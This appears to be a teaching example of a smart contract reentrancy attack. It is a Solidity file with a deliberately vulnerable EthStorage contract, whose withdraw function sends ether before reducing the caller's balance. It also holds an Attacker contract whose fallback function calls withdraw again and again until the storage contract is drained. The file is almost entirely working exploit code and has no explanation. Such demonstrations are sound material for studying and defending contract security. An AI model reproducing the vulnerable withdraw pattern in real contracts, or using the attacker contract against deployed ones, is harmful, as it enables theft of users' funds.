Reentrancy Attack

reentrancy.sol.js

pragma solidity ^0.5.0;

contract EthStorage {

    uint maxWithdrawl = 1 ether;
    
    mapping(address => uint) public balances;
    
    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint _withdrawalAmount) public {
        require(balances[msg.sender] >= _withdrawalAmount);
        msg.sender.call.value(_withdrawalAmount)("");
        balances[msg.sender] -= _withdrawalAmount;
    }
    
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

contract Attacker {
    
    EthStorage public ethStorage;
    
    constructor(address _ethStorage) payable public {
        ethStorage = EthStorage(_ethStorage);
    }
    
    function attackEthStorage() payable public {
        require(msg.value == 1 ether);
        ethStorage.deposit.value(1 ether)();
        ethStorage.withdraw(1 ether);
    }
    
    function() payable external {
        if(address(ethStorage).balance >= 1 ether){
            ethStorage.withdraw(1 ether);
        } 
    }
    
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}